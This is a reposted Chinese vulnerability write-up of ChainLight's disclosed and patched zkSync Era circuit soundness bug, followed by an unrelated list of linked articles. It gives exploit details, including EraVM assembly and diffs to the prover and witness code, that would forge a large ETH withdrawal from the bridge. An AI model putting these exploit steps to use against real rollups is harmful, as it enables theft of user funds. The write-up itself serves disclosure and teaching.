ChainLight zkSync Era漏洞揭秘

1. 引言

在这里插入图片描述
ChainLight研究人员于2023年9月15日,发现了zkSync Era主网的ZK电路的一个soundness bug,并于2023年9月17日,向Matter Labs团队报告了该问题。Matter Labs团队修复了该问题,并奖励了ChainLight团队5万USDC——为首个zkSync Era的bug bounty。

ChainLight以审计闻名,但其也开发ZK赋能的trustless historical Ethereum state access协议——Relic Protocol。其ZK电路也是基于Matter Labs的电路库的,之前遇到过使用LinearCombination而未约束的类似问题,因此在review zkSync Era电路时,首先关注的是这种类型的bug。

相应的POC原型代码见:

  • https://github.com/chainlight-io/zksync-era-write-query-poc/tree/main(Solidity)

zkSync Era主网的ZK电路的这个soundness bug:

  • 使得某恶意prover可为无效执行的区块生成“proofs”,且L1上的verifier合约将接受该proof。

当前rollup仍处于早期不成熟阶段,除依赖于fraud proof或validity proof之外,还会额外引入一些training wheels(通常为多签),确保当有异常情况或bug出现时,可人为介入保证用户资金安全。

更多audit信息可参看:

  • zkSync Era audit details

2. EraVM

zkSync Era为Matter Labs团队开发的type-4 zkEVM,以下简称为EraVM。
在这里插入图片描述
EraVM:

  • EraVM为基于寄存器的,而EVM是基于stack的。某些情况下,EraVM仍然使用stack当做临时存储,如当其run out of registers时,但大多数opcodes将以寄存器作为运算对象。
  • EraVM有2个heap:heap和aux heap,可用作临时内存,并在合约间传输数据。为模拟EVM的calldatareturndata语义,EraVM会明确跟踪每个256-bit value是否为指向另一heap的指针,将指针称为“fat pointer”,并对fat pointers如何在合约间传输做了强化规则。
  • 合约内调用没有value。因此其无法直接转账ETH.

为尽可能与EVM语义匹配,EraVM使用了一组运行在“kernel mode”下的“system contracts”,并有权指向特权指令。如,由于calls无法原生转账ETH,ETH balance跟踪和转账由名为L2EthToken的系统合约处理。为在做call时同时转账ETH,需调用MsgValueSimulator系统合约——其具有内核特权来执行ETH转账,然后执行a “mimic” call,给调用者的体验与直接call是一样的。

zkSync Era软件栈中使用了多个EraVM实现:

  • zk_evm repo:为供sequencer和其它节点使用的out-of-circuit实现。prover也会使用该实现了创建详细的execution trace——用作电路的“witness” data。
  • sync_vm repo:为ZK-circuit实现,用于生成实际待证明和在以太坊上待验证的约束。

2.1 EraVM zk-Circuits

EraVM电路非常复杂,为整个网络背后的核心技术。由于其复杂性,本文仅介绍与所发现的soundness bug相关的少量电路,更多EraVM电路知识可参看文档:

  • https://github.com/code-423n4/2023-10-zksync/blob/72f5f16ed4ba94c7689fe38fcb0b7d27d2a3f135/docs/Circuits%20Section/Circuits.md

由于任意zk-Circuit生成固定数量的约束,任意计算量的证明 需要 使用递归电路,以验证其它电路的proofs。此外,会根据责任拆分成多个电路,以约束计算的不同部分。最终,所有proofs聚合为单个proof,在以太坊上verifier合约中验证。

整个zkSync EraVM电路架构图如下:【源自https://github.com/code-423n4/2023-10-zksync/blob/72f5f16ed4ba94c7689fe38fcb0b7d27d2a3f135/docs/Circuits%20Section/Circuits.md】
在这里插入图片描述
本文重点关注其中的2种电路:

  • 1)Main VM:约束所执行的一系列指令、基础指令(如arithmetics指令)的输入输出,并生成部分约束的结果队列——供其它电路后续进一步约束。
  • 2)RAM Permutation:验证Main VM电路生成的"memory queue(一组内存操作)"是self-consistent的。

2.2 Memory queue

基于Main VM电路和RAM Permutation电路,所发现的soundness bug与内存操作相关。

首先了解下内存的读写是如何被约束的。

由于内存可被其它电路做写入操作,如de-commitment和Keccak哈希,Main VM电路无法自己来约束内存的读操作。相反,任何时间,其都可以从内存读写数据,并将相应的操作附加到memory queue中。

该memory queue会对一系列MemoryQuery对象进行commit,以确定如下4件事情:

  • 1)(相对于其它指令),该访问发生于何时?
  • 2)访问了哪个内存位置?
  • 3)该访问是读还是写?
  • 4)读写的内容?
pub struct MemoryQuery<E: Engine> {pub timestamp: UInt32<E>,pub memory_page: UInt32<E>,pub memory_index: UInt32<E>,pub rw_flag: Boolean,pub value: UInt256<E>,pub value_is_ptr: Boolean,
}

使用Memory Queue,通过约束 source register value置于某(具有目标内存位置的)“write” MemoryQuery中 并附加到该Memory queue中,Main VM电路可处理“store”(内存写)指令。

Main VM电路处理内存读指令将更加复杂,因为Main VM电路自己并不知道特定地址所存在的值(因其它电路也可修改内存)。因此,为处理内存读指令,Main VM电路需加载a witness value到该寄存器中,并附加到Memory Queue中一个(具有该claimed value的)“read” MemoryQuery对象。

当所有内存操作由各种电路commit之后,RAM Permutation电路会检查这些内存操作的一致性。RAM Permutation电路以2个memory queues为输入:

  • 1)源自Main VM电路(和其它内存访问电路)的committed queue。
  • 2)根据(memory_page, memory_index, timestamp) 排序后的、约束为包含相同MemoryQuery对象集合的witness “sorted” queue。

通过对这些内存访问做如上排序,RAM Permutation电路可仅遍历该memory queue一次,并比较相邻元素,来检查内存一致性。相应的伪代码为:

if (prev.memory_page, prev.memory_index) == (cur.memory_page, cur.memory_index) {// if cur accesses the same location as the previous, it must either be a write// OR have the same value as the previous accessassert!(cur.rw_flag || cur.value == prev.value);
} else {// if cur accesses a new location, it must either be a write OR read the zero valueassert!(cur.rw_flag || cur.value == 0);
}

当然,生成这些约束的实际代码是nontrivial的。如,可使用permutation argument来检查committed和sorted queues包含的是相同的元素。

3. bug细节

至此,已对本bug细节提供了足够背景。与很多其它bug类似,魔鬼在实际代码实现细节中。

第一个重要实现细节在于:

  • 上面的MemoryQuery结构体实际上是简化版的实际queue包含的内容,实际实现为RawMemoryQuery形式:
    pub struct RawMemoryQuery<E: Engine> {pub timestamp: UInt32<E>,pub memory_page: UInt32<E>,pub memory_index: UInt32<E>,pub rw_flag: Boolean,pub value_residual: UInt64<E>,pub value: Num<E>, //`MemoryQuery`结构体中该字段为UInt256<E>pub value_is_ptr: Boolean,
    }
    
    主要不同之处在于:
    • 之前的MemoryQuery结构体中value字段为UInt256<E>类型,而RawMemoryQuery中将其切分为2个字段——UInt64<E>类型和Num<E>类型。这种切分转换的原因在于,电路中所使用的曲线为BN254,其单个域元素仅可 可靠地存储253个bits。
      事实上,UInt256<E>类型内部存储为4个UInt64<E>类型的值——每个在其自己的Num<E>类型中。
      RawMemoryQuery结构体中,value字段存储的是该值的低192 bits,而value_residual字段存储的为高64字段。出于效率原因,RawMemoryQuery结构体在附加到memory queue之前,最终会编码为2个UInt64<E>类型的值:
    impl<E: Engine> RawMemoryQuery<E> {pub fn pack<CS: ConstraintSystem<E>>(&self,cs: &mut CS,) -> Result<[Num<E>; 2], SynthesisError> {let shifts = compute_shifts::<E::Fr>();let el0 = self.value;let mut shift = 0;let mut lc = LinearCombination::zero();lc.add_assign_number_with_coeff(&self.value_residual.inner, shifts[shift]);shift += 64;// NOTE: we pack is as it would be compatible with PackedMemoryQuery later onlc.add_assign_number_with_coeff(&self.memory_index.inner, shifts[shift]);shift += 32;lc.add_assign_number_with_coeff(&self.memory_page.inner, shifts[shift]);shift += 32;// ------------lc.add_assign_number_with_coeff(&self.timestamp.inner, shifts[shift]);shift += 32;lc.add_assign_boolean_with_coeff(&self.rw_flag, shifts[shift]);shift += 1;lc.add_assign_boolean_with_coeff(&self.value_is_ptr, shifts[shift]);shift += 1;assert!(shift <= E::Fr::CAPACITY as usize);let el1 = lc.into_num(cs)?;// dbg!(el0.get_value());// dbg!(el1.get_value());Ok([el0, el1])   	}
    }
    

以上代码中:

  • cs:表示约束系统,其贯穿在整个电路代码中,用于累加约束。通常,仅当函数以cs为参数时,其才可以生成约束。
  • pack:返回[el0, el1]。其中el0源自self.valueel1为将剩余的元素pack到单个Num<E>中。
  • compute_shifts::<E::Fr>():对于 0 <= i <= 253,计算 (1 << i) 作为常量域元素。该函数不会生成任何电路约束。
  • el1:通过使用LinearCombination来构建,其格式为 a_0 v_0 + a_1 v_1 + … + a_n v_n,其中a_i 为常量域元素,v_i为电路变量。这些shifts用于将RawMemoryQuery字段pack到不重叠的253-bit value区域中。该linear combination的结构存储在lc.into_num(cs)变量中。

以上代码将RawMemoryQuery pack为2个域元素,看起来是sound的,接下来看RawMemoryQuery是如何构建的。当处理内存写指令时,其构建MemoryWriteQuery 然后将其转换为 RawMemoryQuery

let MemoryLocation { page, index } = mem_loc;let memory_key = MemoryKey {timestamp: mem_timestamp_write,memory_page: page,memory_index: index,
};let write_query = MemoryWriteQuery::from_key_and_value_witness(cs, memory_key, value)?;...let raw_query = write_query.into_raw_query(cs)?;...

MemoryWriteQuery的工作原理呢?在以上代码中,value为Register<E>类型,其将256-bit value存储为2个UInt128<E>

pub struct Register<E: Engine> {pub inner: [UInt128<E>; 2],pub is_ptr: Boolean,
}

当构建MemoryWriteQuery时,该寄存器值使用另一个LinearCombination进一步切分为3个值 (lowest_128, u64_word_2, u64_word_3)

pub(crate) fn from_key_and_value_witness<CS: ConstraintSystem<E>>(cs: &mut CS,key: MemoryKey<E>,register_output: Register<E>,
) -> Result<Self, SynthesisError> {let [lowest_128, highest_128] = register_output.inner;let tmp = highest_128.get_value().map(|el| (el as u64, (el >> 64) as u64));let (u64_word_2, u64_word_3) = match tmp {Some((a, b)) => (Some(a), Some(b)),_ => (None, None),};let u64_word_2 = UInt64::allocate_unchecked(cs, u64_word_2)?;let u64_word_3 = UInt64::allocate(cs, u64_word_3)?;let shifts = compute_shifts::<E::Fr>();let mut minus_one = E::Fr::one();minus_one.negate();let mut lc = LinearCombination::zero();lc.add_assign_number_with_coeff(&u64_word_2.inner, shifts[0]);lc.add_assign_number_with_coeff(&u64_word_3.inner, shifts[64]);lc.add_assign_number_with_coeff(&highest_128.inner, minus_one);let MemoryKey {timestamp,memory_page,memory_index,} = key;let new = Self {timestamp,memory_page,memory_index,lowest_128,u64_word_2,u64_word_3,value_is_ptr: register_output.is_ptr,};Ok(new)
}

MemoryWriteQuery::into_raw_query会将u64_word_3存储在value_residual中,同时将lowest_128u64_word_2 pack到value字段中:

pub(crate) fn into_raw_query<CS: ConstraintSystem<E>>(&self,cs: &mut CS,
) -> Result<RawMemoryQuery<E>, SynthesisError> {let shifts = compute_shifts::<E::Fr>();let mut lc = LinearCombination::zero();lc.add_assign_number_with_coeff(&self.lowest_128.inner, shifts[0]);lc.add_assign_number_with_coeff(&self.u64_word_2.inner, shifts[128]);let value = lc.into_num(cs)?;let new = RawMemoryQuery {timestamp: self.timestamp,memory_page: self.memory_page,memory_index: self.memory_index,rw_flag: Boolean::constant(true)value_residual: self.u64_word_3,value,value_is_ptr: self.value_is_ptr,};Ok(new)
}

因此,bug在哪呢?
非常细微,但注意约束仅可由 以cs为参数的函数生成。再看from_key_and_value_witness代码:

let mut lc = LinearCombination::zero();lc.add_assign_number_with_coeff(&u64_word_2.inner, shifts[0]);
lc.add_assign_number_with_coeff(&u64_word_3.inner, shifts[64]);
lc.add_assign_number_with_coeff(&highest_128.inner, minus_one);

不同于其它使用LinearCombination的代码,该代码实际永远不会通过lc生成任何约束。基于这些系数,其意图是约束该lc值为0,但为生成这样的约束,必须:

  • 要么调用lc.enforce_zero(cs)
  • 要么调用lc.into_num(cs),然后进一步约束其结果值。

因此,生成的MemoryWriteQuery结果中的高128位是未约束的。这意味着恶意prover可在这些bits中放置任意值,且verifier将接受该proof是有效的。在正确约束的电路中,这些bits应约束为准确等于源自Register<E>的bits。

4. bug利用细节

该bug使得prover可任意修改(通过store指令)存储在内存中的任意值的高128位,而不改变该proof的有效性。虽然这可能会以无数方式被滥用,但一个特别容易的目标是L2EthToken系统合约。
以下代码为从zkSync Era中取回solidity:

/// @notice Initiate the ETH withdrawal, funds will be available to claim on L1 `finalizeEthWithdrawal` method.
/// @param _l1Receiver The address on L1 to receive the funds.
function withdraw(address _l1Receiver) external payable override {uint256 amount = _burnMsgValue();// Send the L2 log, a user could use it as proof of the withdrawalbytes memory message = _getL1WithdrawMessage(_l1Receiver, amount);L1_MESSENGER_CONTRACT.sendToL1(message);emit Withdrawal(msg.sender, _l1Receiver, amount);
}/// @dev Get the message to be sent to L1 to initiate a withdrawal.
function _getL1WithdrawMessage(address _to, uint256 _amount) internal pure returns (bytes memory) {return abi.encodePacked(IMailbox.finalizeEthWithdrawal.selector, _to, _amount);
}

该方法在发送L2->L1证明该取款操作之前,会burn msg.value数量的ETH。此处的目的是在L2中burn少量的ETH,而创建的取款消息中具有大得多的_amount字段。注意,_getL1WithdrawMessage helper函数将取款消息编码为内存字节数组。该函数编译为如下EraVM汇编代码:

...add @CPI0_20[0], r0, r2 // load the function selector into `r2`
ld.1    64, r1          // load the current free memory pointer into `r1`
add 32, r1, r3
st.1    r3, r2          // store function selector into memory at `r1+32`
shl.s   96, r4, r2
add 36, r1, r3
st.1    r3, r2          // store `_to` parameter into memory at `r1+36`
add 56, r1, r2
st.1    r2, r5          // store `_amount` parameter into memory at `r1+56`
add 56, r0, r2
st.1    r1, r2          // store `56` into memory at `r1` (length field)...

每个st.1指令存储了一个寄存器值到heap中指定的偏移位置。而这些指令支持存储到地址的非对齐方式,其不要求是32的倍数,EraVM将未对齐的stores转换为2个对齐的MemoryWriteQuery。因此,但存储_amount参数时,会创建2个aligned write queries:

{memory_page: CUR_HEAP_PAGE,memory_index: (r1 + 56) // 32,value: (uint256(_to) << 64) | (_amount >> 192)
},
{memory_page: CUR_HEAP_PAGE,memory_index: (r1 + 56) // 32 + 1,value: (_amount << 64)
}

此处的目的是改变以上第二个write query的值,以增加取款消息中所认证的ether数量。为此,在每个EraVM实现中修改负责处理write queries的代码。相应的修改逻辑为:

  • 1)检查待写入的_amount值是否匹配某些magic值,如0x1371337137~.00002 ETH。
  • 2)若匹配,则修改(misaligned write)高128bit值,使得_amount为某huge value,如0x152d0000133713371337~100K ETH。

相应的zk_evm repo修改为:

diff --git a/src/opcodes/execution/uma.rs b/src/opcodes/execution/uma.rs
index 276c02b..7d2f0d5 100644- -- a/src/opcodes/execution/uma.rs
+++ b/src/opcodes/execution/uma.rs
@@ -371,6 +371,14 @@ impl<const N: usize, E: VmEncodingMode<N>> DecodedOpcode<N, E> {(word_0_read_value >> (word_0_lowest_bytes * 8)) << (word_0_lowest_bytes * 8);// add highest bytes into lowest for overwritingnew_word_0_value = new_word_0_value | (src1 >> (unalignment * 8));
+
+                // see if we're writing 0x1337133713370000000000000000
+                if new_word_0_value.0[1] == 0x133713371337 {
+                    // if so, instead write 0x152d00001337133713370000000000000000
+                    new_word_0_value.0[2] = 0x152d;
+                }
+// we need low bytes of old word and place low bytes of src1 into highest// cleanup highest byteslet mut new_word_1_value =

相应的sync_vm repo修改为:

diff --git a/src/vm/vm_cycle/memory_view/write_query.rs b/src/vm/vm_cycle/memory_view/write_query.rs
index cbb4172..0b09ecd 100644- -- a/src/vm/vm_cycle/memory_view/write_query.rs
+++ b/src/vm/vm_cycle/memory_view/write_query.rs
@@ -60,6 +60,11 @@ impl<E: Engine> MemoryWriteQuery<E> {_ => (None, None),
};
+        let u64_word_2 = if let Some(0x1337133713370000000000000000_u128) = lowest_128.get_value() {
+            Some(0x152d)
+        } else {
+            u64_word_2
+        };
// we do not need to range check everything, only N-1 ut of N elements in LC
let u64_word_2 = UInt64::allocate_unchecked(cs, u64_word_2)?;

需注意,仅需修改分配给变量的witness值,而并不修改电路所生成的约束。

通过在后端完成以上修改之后,sequencer/prover现在可处理具有magic value 0x133713371337 wei (~.00002 ETH) 的区块,并输出proven batch——其可证实接收方取款额为0x152d0000133713371337 wei (~100K ETH)。zkSync Era合约将接受该proof,然后攻击者可取光其bridge中的100K个ETH。

5. bug影响分析

考虑到当前的安全层,该bug很难由Matter Labs之外的人利用。对于外部人员来说,可能的攻击场景为:

  • 1)通过注入恶意代码或盗取zkSync Era validator私钥,使zkSync Era后端compromise。
  • 2)执行如上“bug利用细节”流程。
  • 3)等待21小时的execution delay,并期望在取走盗用资金之前,Matter Labs团队未冻结该协议。

由此可知,以上21小时的execution delay,使得实际利用该bug非常难。但是,随着未来去中心化的推进,这样的攻击成功概率将增加,因为到时没有admin团队来直接管理该协议。

因此,让ZK-circuits安全来赋能L2,是以太坊长期扩容里程碑的关键部分。

参考资料

[1] 2023年11月ChainLight博客 Patch Thursday — Uncovering a ZK-EVM Soundness Bug in zkSync Era

zkSync系列博客

  • zkSync 概览
  • zkSync 基本原理
  • zkSync 代码解析
  • zkSync的ZK Stack:Hyperchains和Hyperbridges
  • Boojum:zkSync的高性能去中心化STARK证明系统

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/150942.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

《Python数据科学项目实战》:开启数据科学之旅的实战指南!

《Python数据科学项目实战》是一本内容丰富且组织结构严谨的书籍&#xff0c;它旨在帮助读者通过实际案例研究掌握使用Python进行数据科学工作的必要知识。本书的案例研究涵盖了在线广告分析、使用新闻数据跟踪疾病暴发等多个现实世界的场景&#xff0c;使读者能够将所学知识应…

Java爬虫框架下代理使用中的TCP连接池问题及解决方案

引言 当使用Java爬虫框架进行代理爬取时&#xff0c;可能会遇到TCP连接池问题&#xff0c;导致"java.net.BindException: Cannot assign requested address"等错误。本文将介绍如何以爬取小红书为案例&#xff0c;解决Java爬虫框架中代理使用中的TCP连接池问题&…

深度学习之基于Django+Tensorflow动物识别系统

欢迎大家点赞、收藏、关注、评论啦 &#xff0c;由于篇幅有限&#xff0c;只展示了部分核心代码。 文章目录 一项目简介 二、功能三、系统四. 总结 一项目简介 基于Django和TensorFlow的动物识别系统可以被设计成能够使用深度学习算法自动识别上传的图像中的动物种类&#xff…

MATLAB画图分辨率、图像大小研究

MATLAB画图分辨率、图像大小研究 Figure属性中 InnerPosition Position OuterPosition区别画图与打印的分辨率和图像大小研究首先明确两个概念&#xff1a;MATLAB实操画图 Figure属性中 InnerPosition Position OuterPosition区别 在画图的时候&#xff0c;我们经常需要设置Fi…

【数据处理】Python:实现求条件分布函数 | 求平均值方差和协方差 | 求函数函数期望值的函数 | 概率论

猛戳订阅! 👉 《一起玩蛇》🐍 💭 写在前面:本章我们将通过 Python 手动实现条件分布函数的计算,实现求平均值,方差和协方差函数,实现求函数期望值的函数。部署的测试代码放到文后了,运行所需环境 python version >= 3.6,numpy >= 1.15,nltk >= 3.4,tqd…

Git 提交竟然还能这么用?

大家好&#xff0c;我是鱼皮。Git 是主流的代码版本控制系统&#xff0c;是团队协作开发中必不可少的工具。 之前已经给大家分享过 Git / GitHub 的学习指南&#xff0c;感兴趣的同学可以先看视频了解&#xff1a;https://www.bilibili.com/video/BV1KZ4y1e7cG。 这篇文章&am…

BUG:编写springboot单元测试,自动注入实体类报空指针异常

原因:修饰测试方法的Test注解导入错误 造成错误的原因是 import org.junit.Test;正确的应该是 import org.junit.jupiter.api.Test前者是Junit4,后者是Junit5 junit4的使用似乎要在测试类除了添加SpringbootTest还要添加RunWith(SpringRunner.class) 同时要注意spring-boot-s…

【Seata源码学习 】篇三 seata客户端全局事务开启、提交与回滚

1.GlobalTransactionalInterceptor 对事务方法对增强 我们已经知道 GlobalTransactionScanner 会给bean的类或方法上面标注有GlobalTransactional 注解 和 GlobalLock的 添加一个 advisor &#xff08;DefaultPointcutAdvisor ,advisor 绑定了PointCut 的 advise) 而此处的 …

工业基础类IFC—材质和纹理

在我们的 IFC技术交流群&#xff08;788206534&#xff09;里&#xff0c;经常会有人提问“如何学习 IFC文档或者其开发”的问题。对于这个问题&#xff0c;我一直没有机会做一个完整的回答&#xff0c;这次我认真回忆了自己关于IFC的学习经历&#xff0c;在此与大家分享。一是…

Wireshark 截取指定端口海量包分析

有个应用要分析一下协议&#xff0c;但是8939&#xff0c;8940传输一下子几个G的数据&#xff0c;但是要分析的端口8939实际上只有几个MB最多&#xff0c;如果用wireshark有界面的程序一截取就会卡死&#xff0c;于是使用命令行方式&#xff0c;截取指定端口的 tshark -i &quo…

Flume的安装部署及常见问题解决

1.安装地址 &#xff08;1&#xff09; Flume官网地址&#xff1a;http://flume.apache.org/ &#xff08;2&#xff09;文档查看地址&#xff1a;http://flume.apache.org/FlumeUserGuide.html &#xff08;3&#xff09;下载地址&#xff1a;http://archive.apache.org/dist…

基于Qt QList和QMap容器类示例

## QList<T> QList<T>容器是一个数组列表,特点如下: 1.大多数情况下可以用QList。像prepend()、append()和insert()这种操作,通常QList比QVector快的多。这是因为QList是基于index标签存储它的元素项在内存中(虽然内存不连续,这点与STL的list 是一样的),比…

【机器学习基础】K-Means聚类算法

&#x1f680;个人主页&#xff1a;为梦而生~ 关注我一起学习吧&#xff01; &#x1f4a1;专栏&#xff1a;机器学习 欢迎订阅&#xff01;相对完整的机器学习基础教学&#xff01; ⭐特别提醒&#xff1a;针对机器学习&#xff0c;特别开始专栏&#xff1a;机器学习python实战…

linux镜像的下载,系统下载(个人使用)

文章目录 一、系统之家二、国内镜像源三、Centos官网四、安装成功截图五、镜像类型的区别参考文档 一、系统之家 系统之家官网 二、国内镜像源 下载镜像地址&#xff1a; 1、官网地址&#xff1a;https://www.centos.org/ 2、阿里镜像站&#xff1a;https://mirrors.aliyu…

一文读懂:testcafe框架和页面元素交互

一、互动要求 使用 TestCafe 与元素进行交互操作&#xff0c;元素需满足以下条件&#xff1a;☟ 元素在 body 页面窗口或 iframe 窗口的元素内。如果某个元素在视口之外&#xff0c;则 TestCafe 通过滚动可以滚动到元素可见。 元素是可见的&#xff0c;具有以下属性&#…

实力认证|易知微上榜中国信息通信研究院数字孪生城市产业图谱!

近期&#xff0c;中国通信院就数字孪生技术在城市层面的广泛应用&#xff0c;根据数字孪生产业框架&#xff0c;结合产业发展动态和企业综合实力评估&#xff0c;选取了核心产业、关联产业和辐射产业等各领域业务代表性较强的企业&#xff08;机构&#xff09;&#xff0c;形成…

Flink(六)【DataFrame 转换算子(下)】

前言 今天学习剩下的转换算子&#xff1a;分区、分流、合流。 每天出来自学是一件孤独又充实的事情&#xff0c;希望多年以后回望自己的大学生活&#xff0c;不会因为自己的懒惰与懈怠而悔恨。 回答之所以起到了作用&#xff0c;原因是他们自己很努力。 …

FPGA系列:1、FPGA/verilog源代码保护:基于Quartus13.1平台保护verilog源码发给第三方但不泄露源码

catlog 需求具体步骤工程描述去掉相关调试文件切换顶层模块并导出相应模块为网表文件切换回原顶层模块并添加相应保护模块的qxp文件再次编译工程 参考&#xff1a; 需求 有时需要将源码交付给第三方&#xff0c;但是源码中部分模块涉及到的核心代码无法暴漏给第三方。因此&…

2023年【高处安装、维护、拆除】模拟考试题及高处安装、维护、拆除模拟考试题库

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 2023年【高处安装、维护、拆除】模拟考试题及高处安装、维护、拆除模拟考试题库&#xff0c;包含高处安装、维护、拆除模拟考试题答案和解析及高处安装、维护、拆除模拟考试题库练习。安全生产模拟考试一点通结合国家…

C语言之qsort()函数的模拟实现

C语言之qsort()函数的模拟实现 文章目录 C语言之qsort()函数的模拟实现1. 简介2. 冒泡排序3. 对冒泡排序进行改造4. 改造部分4.1 保留部分的冒泡排序4.2 比较部分4.3 交换部分 5. bubble_sort2完整代码6. 使用bubble_sort2来排序整型数组7. 使用bubble_sort2来排序结构体数组7.…